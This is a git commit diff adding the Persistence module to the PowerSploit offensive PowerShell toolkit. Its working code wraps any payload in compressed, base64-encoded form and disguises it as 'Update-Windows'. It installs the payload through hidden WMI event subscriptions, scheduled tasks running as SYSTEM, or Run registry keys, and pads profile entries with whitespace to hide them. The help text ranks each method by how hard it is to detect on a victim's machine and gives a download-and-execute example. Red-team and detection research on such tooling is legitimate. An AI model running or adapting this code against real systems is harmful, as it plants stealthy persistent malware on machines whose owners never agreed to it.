diff options
author | Matt Graeber <mattgraeber@gmail.com> | 2013-04-04 15:10:09 -0400 |
---|---|---|
committer | Matt Graeber <mattgraeber@gmail.com> | 2013-04-04 15:10:09 -0400 |
commit | 577be2fea5944ba66417ca03b5a5db48a36024d2 (patch) | |
tree | 1f22dcbcfee8a9758afb281176a5f67e7da991da | |
parent | 2ff300c03a987adeb74adf5e23d34c97d981e52f (diff) | |
download | PowerSploit-577be2fea5944ba66417ca03b5a5db48a36024d2.tar.gz PowerSploit-577be2fea5944ba66417ca03b5a5db48a36024d2.zip |
Adding Persistence module
-rw-r--r-- | Persistence/Add-Persistence.ps1 | 400 | ||||
-rw-r--r-- | Persistence/New-ElevatedPersistenceOptions.ps1 | 170 | ||||
-rw-r--r-- | Persistence/New-UserPersistenceOptions.ps1 | 128 | ||||
-rw-r--r-- | Persistence/Persistence.psd1 | 37 | ||||
-rw-r--r-- | Persistence/Persistence.psm1 | 3 | ||||
-rw-r--r-- | Persistence/Usage.md | 10 | ||||
-rw-r--r-- | PowerSploit.psd1 | 189 | ||||
-rw-r--r-- | README.md | 396 |
8 files changed, 1049 insertions, 284 deletions
diff --git a/Persistence/Add-Persistence.ps1 b/Persistence/Add-Persistence.ps1 new file mode 100644 index 0000000..cd04fbf --- /dev/null +++ b/Persistence/Add-Persistence.ps1 @@ -0,0 +1,400 @@ +function Add-Persistence +{ +<# +.SYNOPSIS + + Add persistence capabilities to a script. + + PowerSploit Function: Add-Persistence + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: New-ElevatedPersistenceOptions, New-UserPersistenceOptions + Optional Dependencies: None + +.DESCRIPTION + + Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted. + +.PARAMETER ScriptBlock + + Specifies a scriptblock containing your payload. + +.PARAMETER FilePath + + Specifies the path to your payload. + +.PARAMETER ElevatedPersistenceOptions + + Specifies the trigger for the persistent payload if the target is running elevated. + You must run New-ElevatedPersistenceOptions to generate this argument. + +.PARAMETER UserPersistenceOptions + + Specifies the trigger for the persistent payload if the target is not running elevated. + You must run New-UserPersistenceOptions to generate this argument. + +.PARAMETER PersistenceScriptName + + Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'. + +.PARAMETER DoNotPersistImmediately + + Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option. + +.PARAMETER PersistentScriptFilePath + + Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory. + +.PARAMETER RemovalScriptFilePath + + Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory. + +.PARAMETER PassThru + + Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline. + +.INPUTS + + None + + Add-Persistence cannot receive any input from the pipeline. + +.OUTPUTS + + System.Management.Automation.ScriptBlock + + If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script. + +.NOTES + + When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine. + +.EXAMPLE + + C:\PS>$ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM' + C:\PS>$UserOptions = New-UserPersistenceOptions -Registry -AtLogon + C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -Verbose + + Description + ----------- + Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. + +.EXAMPLE + + C:\PS>$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) } + C:\PS>$ElevatedOptions = New-ElevatedPersistenceOptions -ScheduledTask -OnIdle + C:\PS>$UserOptions = New-UserPersistenceOptions -ScheduledTask -OnIdle + C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1 + + Description + ----------- + Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1 + +.LINK + + http://www.exploit-monday.com +#> + + [CmdletBinding()] Param ( + [Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )] + [ValidateNotNullOrEmpty()] + [Alias('Path')] + [String] + $FilePath, + + [Parameter( Mandatory = $True )] + $ElevatedPersistenceOptions, + + [Parameter( Mandatory = $True )] + $UserPersistenceOptions, + + [ValidateNotNullOrEmpty()] + [String] + $PersistenceScriptName = 'Update-Windows', + + [ValidateNotNullOrEmpty()] + [String] + $PersistentScriptFilePath = "$PWD\Persistence.ps1", + + [ValidateNotNullOrEmpty()] + [String] + $RemovalScriptFilePath = "$PWD\RemovePersistence.ps1", + + [Switch] + $DoNotPersistImmediately, + + [Switch] + $PassThru + ) + + Set-StrictMode -Version 2 + +#region Validate arguments + + if ($ElevatedPersistenceOptions.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOptions') + { + throw 'You provided invalid elevated persistence options.' + } + + if ($UserPersistenceOptions.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOptions') + { + throw 'You provided invalid user-level persistence options.' + } + + $Path = Split-Path $PersistentScriptFilePath -ErrorAction Stop + $Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop + $PersistentScriptFile = '' + $RemovalScriptFile = '' + + if ($Path -eq '') + { + $PersistentScriptFile = "$($PWD)\$($Leaf)" + } + else + { + $PersistentScriptFile = "$($Path)\$($Leaf)" + } + + $Path = Split-Path $RemovalScriptFilePath -ErrorAction Stop + $Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop + if ($Path -eq '') + { + $RemovalScriptFile = "$($PWD)\$($Leaf)" + } + else + { + $RemovalScriptFile = "$($Path)\$($Leaf)" + } + + if ($PSBoundParameters['Path']) + { + Get-ChildItem $Path -ErrorAction Stop | Out-Null + $Script = [IO.File]::ReadAllText((Resolve-Path $Path)) + } + else + { + $Script = $ScriptBlock + } + +#endregion + +#region Initialize data + + $CompressedScript = '' + $UserTrigger = '' + $UserTriggerRemoval = '' + $ElevatedTrigger = "''" + $ElevatedTriggerRemoval = '' + $UserTrigger = "''" + $UserTriggerRemoval = '' + $CommandLine = '' + +#endregion + +#region Compress the original payload in preparation for the persistence script + + $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script) + $CompressedStream = New-Object IO.MemoryStream + $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) + $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) + $DeflateStream.Dispose() + $CompressedScriptBytes = $CompressedStream.ToArray() + $CompressedStream.Dispose() + $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) + + # Generate the code that will decompress and execute the payload. + # This code is intentionally ugly to save space. + $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' + +#endregion + +#region Process persistence options + + # Begin processing elevated persistence options + switch ($ElevatedPersistenceOptions.Method) + { + 'PermanentWMI' + { + $ElevatedTriggerRemoval = { +Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Updater'"| Remove-WmiObject +Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Updater'" | Remove-WmiObject +Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject + } + + switch ($ElevatedPersistenceOptions.Trigger) + { + 'AtStartup' + { + $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`"" + } + + 'Daily' + { + $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOptions.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOptions.Time.ToString('mm')) GROUP WITHIN 60```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`"" + } + + default + { + throw 'Invalid elevated persistence options provided!' + } + } + } + + 'ScheduledTask' + { + $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"' + $ElevatedTriggerRemoval = "schtasks /Delete /TN Updater" + + switch ($ElevatedPersistenceOptions.Trigger) + { + 'AtLogon' + { + $ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR " + } + + 'Daily' + { + $ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOptions.Time.ToString('HH:mm:ss')) /TN Updater /TR " + } + + 'OnIdle' + { + $ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR " + } + + default + { + throw 'Invalid elevated persistence options provided!' + } + } + + $ElevatedTrigger = '"' + $ElevatedTrigger + $CommandLine + '"' + } + + 'Registry' + { + $ElevatedTrigger = "New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value " + $ElevatedTriggerRemoval = "Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater" + $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`"" + $ElevatedTrigger = "'" + $ElevatedTrigger + $CommandLine + "'" + } + + default + { + throw 'Invalid elevated persistence options provided!' + } + } + + # Begin processing user-level persistence options + switch ($UserPersistenceOptions.Method) + { + 'ScheduledTask' + { + $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"' + $UserTriggerRemoval = "schtasks /Delete /TN Updater" + + switch ($UserPersistenceOptions.Trigger) + { + 'Daily' + { + $UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOptions.Time.ToString('HH:mm:ss')) /TN Updater /TR " + } + + 'OnIdle' + { + $UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR " + } + + default + { + throw 'Invalid user-level persistence options provided!' + } + } + + $UserTrigger = '"' + $UserTrigger + $CommandLine + '"' + } + + 'Registry' + { + $UserTrigger = "New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value " + $UserTriggerRemoval = "Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater" + $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`"" + $UserTrigger = "'" + $UserTrigger + $CommandLine + "'" + } + + default + { + throw 'Invalid user-level persistence options provided!' + } + } + +#endregion + +#region Original script with its persistence logic will reside here + +# This is intentionally ugly in the interest of saving space on the victim machine. +$PersistantScript = { +function FUNCTIONNAME{ +Param([Switch]$Persist) +$ErrorActionPreference='SilentlyContinue' +$Script={ORIGINALSCRIPT} +if($Persist){ +if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) +{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER} +else +{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER} +' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo +iex $Payload|Out-Null +Write-Output $Payload} +else +{$Script.Invoke()} +} EXECUTEFUNCTION + +} + + $PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName) + $PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript) + $PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger) + $PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger) + + if ($DoNotPersistImmediately) + { + $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '') + } + else + { + $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', "$PersistenceScriptName -Persist") + } + +#endregion + +#region Generate final output + +# Generate the persistence removal script +$PersistenceRemoval = @" +# Execute the following to remove the elevated persistent payload +$ElevatedTriggerRemoval +# Execute the following to remove the user-level persistent payload +$UserTriggerRemoval +"@ + + + $PersistantScript | Out-File $PersistentScriptFile + Write-Verbose "Persistence script written to $PersistentScriptFile" + + $PersistenceRemoval | Out-File $RemovalScriptFile + Write-Verbose "Persistence removal script written to $RemovalScriptFile" + + if ($PassThru) + { + # Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline. + Write-Output ([ScriptBlock]::Create($PersistantScript)) + } + +#endregion +}
\ No newline at end of file diff --git a/Persistence/New-ElevatedPersistenceOptions.ps1 b/Persistence/New-ElevatedPersistenceOptions.ps1 new file mode 100644 index 0000000..4e11dee --- /dev/null +++ b/Persistence/New-ElevatedPersistenceOptions.ps1 @@ -0,0 +1,170 @@ +function New-ElevatedPersistenceOptions +{ +<# +.SYNOPSIS + + Configure elevated persistence options for the Add-Persistence function. + + PowerSploit Function: New-ElevatedPersistenceOptions + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + New-ElevatedPersistenceOptions allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry. + +.PARAMETER PermanentWMI + + Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove. + + Detection Difficulty: Difficult + Removal Difficulty: Difficult + User Detectable? No + +.PARAMETER ScheduledTask + + Persist via a scheduled task. + + Detection Difficulty: Moderate + Removal Difficulty: Moderate + User Detectable? No + +.PARAMETER Registry + + Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. + + Detection Difficulty: Easy + Removal Difficulty: Easy + User Detectable? Yes + +.PARAMETER AtLogon + + Starts the payload upon any user logon. + +.PARAMETER AtStartup + + Starts the payload within 240 and 325 seconds of computer startup. + +.PARAMETER OnIdle + + Starts the payload after one minute of idling. + +.PARAMETER Daily + + Starts the payload daily. + +.PARAMETER At + + Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. + +.EXAMPLE + + C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM' + +.EXAMPLE + + C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -Registry -AtStartup + +.EXAMPLE + + C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -ScheduledTask -OnIdle + +.LINK + + http://www.exploit-monday.com +#> + + [CmdletBinding()] Param ( + [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )] + [Switch] + $PermanentWMI, + + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] + [Switch] + $ScheduledTask, + + [Parameter( ParameterSetName = 'Registry', Mandatory = $True )] + [Switch] + $Registry, + + [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [Switch] + $Daily, + + [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [DateTime] + $At, + + [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] + [Switch] + $OnIdle, + + [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )] + [Parameter( ParameterSetName = 'Registry', Mandatory = $True )] + [Switch] + $AtLogon, + + [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )] + [Switch] + $AtStartup + ) + + $PersistenceOptionsTable = @{ + Method = '' + Trigger = '' + Time = '' + } + + switch ($PSCmdlet.ParameterSetName) + { + 'PermanentWMIAtStartup' + { + $PersistenceOptionsTable['Method'] = 'PermanentWMI' + $PersistenceOptionsTable['Trigger'] = 'AtStartup' + } + + 'PermanentWMIDaily' + { + $PersistenceOptionsTable['Method'] = 'PermanentWMI' + $PersistenceOptionsTable['Trigger'] = 'Daily' + $PersistenceOptionsTable['Time'] = $At + } + + 'ScheduledTaskAtLogon' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'AtLogon' + } + + 'ScheduledTaskOnIdle' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'OnIdle' + } + + 'ScheduledTaskDaily' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'Daily' + $PersistenceOptionsTable['Time'] = $At + } + + 'Registry' + { + $PersistenceOptionsTable['Method'] = 'Registry' + $PersistenceOptionsTable['Trigger'] = 'AtLogon' + } + } + + $PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable + $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOptions' + + Write-Output $PersistenceOptions +}
\ No newline at end of file diff --git a/Persistence/New-UserPersistenceOptions.ps1 b/Persistence/New-UserPersistenceOptions.ps1 new file mode 100644 index 0000000..9672c2e --- /dev/null +++ b/Persistence/New-UserPersistenceOptions.ps1 @@ -0,0 +1,128 @@ +function New-UserPersistenceOptions +{ +<# +.SYNOPSIS + + Configure user-level persistence options for the Add-Persistence function. + + PowerSploit Function: New-UserPersistenceOptions + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + New-UserPersistenceOptions allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry. + +.PARAMETER ScheduledTask + + Persist via a scheduled task. + + Detection Difficulty: Moderate + Removal Difficulty: Moderate + User Detectable? No + +.PARAMETER Registry + + Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. + + Detection Difficulty: Easy + Removal Difficulty: Easy + User Detectable? Yes + +.PARAMETER AtLogon + + Starts the payload upon any user logon. + +.PARAMETER OnIdle + + Starts the payload after one minute of idling. + +.PARAMETER Daily + + Starts the payload daily. + +.PARAMETER At + + Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. + +.EXAMPLE + + C:\PS> $UserOptions = New-UserPersistenceOptions -Registry -AtLogon + +.EXAMPLE + + C:\PS> $UserOptions = New-UserPersistenceOptions -ScheduledTask -OnIdle + +.LINK + + http://www.exploit-monday.com +#> + + [CmdletBinding()] Param ( + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] + [Switch] + $ScheduledTask, + + [Parameter( ParameterSetName = 'Registry', Mandatory = $True )] + [Switch] + $Registry, + + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [Switch] + $Daily, + + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [DateTime] + $At, + + [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] + [Switch] + $OnIdle, + + [Parameter( ParameterSetName = 'Registry', Mandatory = $True )] + [Switch] + $AtLogon + ) + + $PersistenceOptionsTable = @{ + Method = '' + Trigger = '' + Time = '' + } + + switch ($PSCmdlet.ParameterSetName) + { + 'ScheduledTaskAtLogon' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'AtLogon' + } + + 'ScheduledTaskOnIdle' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'OnIdle' + } + + 'ScheduledTaskDaily' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'Daily' + $PersistenceOptionsTable['Time'] = $At + } + + 'Registry' + { + $PersistenceOptionsTable['Method'] = 'Registry' + $PersistenceOptionsTable['Trigger'] = 'AtLogon' + } + } + + $PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable + $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOptions' + + Write-Output $PersistenceOptions +}
\ No newline at end of file diff --git a/Persistence/Persistence.psd1 b/Persistence/Persistence.psd1 new file mode 100644 index 0000000..21a7871 --- /dev/null +++ b/Persistence/Persistence.psd1 @@ -0,0 +1,37 @@ +@{ + +# Script module or binary module file associated with this manifest. +ModuleToProcess = 'Persistence.psm1' + +# Version number of this module. +ModuleVersion = '1.0.0.0' + +# ID used to uniquely identify this module +GUID = '633d0f10-a056-41da-869d-6d2f75430195' + +# Author of this module +Author = 'Matthew Graeber' + +# Copyright statement for this module +Copyright = 'BSD 3-Clause' + +# Description of the functionality provided by this module +Description = 'PowerSploit Persistence Module' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '2.0' + +# Functions to export from this module +FunctionsToExport = '*' + +# Cmdlets to export from this module +CmdletsToExport = '*' + +# List of all modules packaged with this module. +ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}) + +# List of all files packaged with this module +FileList = 'Persistence.psm1', 'Persistence.psd1', 'Add-Persistence.ps1', 'New-ElevatedPersistenceOptions.ps1', + 'New-UserPersistenceOptions.ps1', 'Usage.md' + +}
\ No newline at end of file diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 new file mode 100644 index 0000000..4478ee1 --- /dev/null +++ b/Persistence/Persistence.psm1 @@ -0,0 +1,3 @@ +. (Join-Path $PSScriptRoot New-ElevatedPersistenceOptions.ps1) +. (Join-Path $PSScriptRoot New-UserPersistenceOptions.ps1) +. (Join-Path $PSScriptRoot Add-Persistence.ps1)
\ No newline at end of file diff --git a/Persistence/Usage.md b/Persistence/Usage.md new file mode 100644 index 0000000..988ce9d --- /dev/null +++ b/Persistence/Usage.md @@ -0,0 +1,10 @@ +To install this module, drop the entire ScriptModification folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Persistence` + +To see the commands imported, type `Get-Command -Module Persistence` + +For help on each individual command, Get-Help is your friend.
\ No newline at end of file diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 2699086..8c7f939 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -1,95 +1,96 @@ -@{
-
-# Script module or binary module file associated with this manifest.
-ModuleToProcess = 'PowerSploit.psm1'
-
-# Version number of this module.
-ModuleVersion = '1.0.0.0'
-
-# ID used to uniquely identify this module
-GUID = '6753b496-d842-40a3-924a-0f09e248640c'
-
-# Author of this module
-Author = 'Matthew Graeber'
-
-# Company or vendor of this module
-CompanyName = ''
-
-# Copyright statement for this module
-Copyright = 'BSD 3-Clause'
-
-# Description of the functionality provided by this module
-Description = 'PowerSploit Root Module'
-
-# Minimum version of the Windows PowerShell engine required by this module
-PowerShellVersion = '2.0'
-
-# Name of the Windows PowerShell host required by this module
-# PowerShellHostName = ''
-
-# Minimum version of the Windows PowerShell host required by this module
-# PowerShellHostVersion = ''
-
-# Minimum version of the .NET Framework required by this module
-# DotNetFrameworkVersion = ''
-
-# Minimum version of the common language runtime (CLR) required by this module
-# CLRVersion = ''
-
-# Processor architecture (None, X86, Amd64) required by this module
-# ProcessorArchitecture = ''
-
-# Modules that must be imported into the global environment prior to importing this module
-# RequiredModules = @()
-
-# Assemblies that must be loaded prior to importing this module
-# RequiredAssemblies = @()
-
-# Script files (.ps1) that are run in the caller's environment prior to importing this module.
-# ScriptsToProcess = ''
-
-# Type files (.ps1xml) to be loaded when importing this module
-# TypesToProcess = @()
-
-# Format files (.ps1xml) to be loaded when importing this module
-# FormatsToProcess = @()
-
-# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
-# NestedModules = @()
-
-# Functions to export from this module
-FunctionsToExport = '*'
-
-# Cmdlets to export from this module
-CmdletsToExport = '*'
-
-# Variables to export from this module
-VariablesToExport = ''
-
-# Aliases to export from this module
-AliasesToExport = ''
-
-# List of all modules packaged with this module.
-ModuleList = @( @{ModuleName = 'PowerSploit'; ModuleVersion = '1.0.0.0'; GUID = '6753b496-d842-40a3-924a-0f09e248640c'},
- @{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'},
- @{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'},
- @{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'},
- @{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'},
- @{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'},
- @{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff'},
- @{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}
- )
-
-# List of all files packaged with this module
-FileList = 'PowerSploit.psd1', 'PowerSploit.psm1'
-
-# Private data to pass to the module specified in RootModule/ModuleToProcess
-# PrivateData = ''
-
-# HelpInfo URI of this module
-# HelpInfoURI = ''
-
-# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
-# DefaultCommandPrefix = ''
-
+@{ + +# Script module or binary module file associated with this manifest. +ModuleToProcess = 'PowerSploit.psm1' + +# Version number of this module. +ModuleVersion = '1.0.0.0' + +# ID used to uniquely identify this module +GUID = '6753b496-d842-40a3-924a-0f09e248640c' + +# Author of this module +Author = 'Matthew Graeber' + +# Company or vendor of this module +CompanyName = '' + +# Copyright statement for this module +Copyright = 'BSD 3-Clause' + +# Description of the functionality provided by this module +Description = 'PowerSploit Root Module' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '2.0' + +# Name of the Windows PowerShell host required by this module +# PowerShellHostName = '' + +# Minimum version of the Windows PowerShell host required by this module +# PowerShellHostVersion = '' + +# Minimum version of the .NET Framework required by this module +# DotNetFrameworkVersion = '' + +# Minimum version of the common language runtime (CLR) required by this module +# CLRVersion = '' + +# Processor architecture (None, X86, Amd64) required by this module +# ProcessorArchitecture = '' + +# Modules that must be imported into the global environment prior to importing this module +# RequiredModules = @() + +# Assemblies that must be loaded prior to importing this module +# RequiredAssemblies = @() + +# Script files (.ps1) that are run in the caller's environment prior to importing this module. +# ScriptsToProcess = '' + +# Type files (.ps1xml) to be loaded when importing this module +# TypesToProcess = @() + +# Format files (.ps1xml) to be loaded when importing this module +# FormatsToProcess = @() + +# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess +# 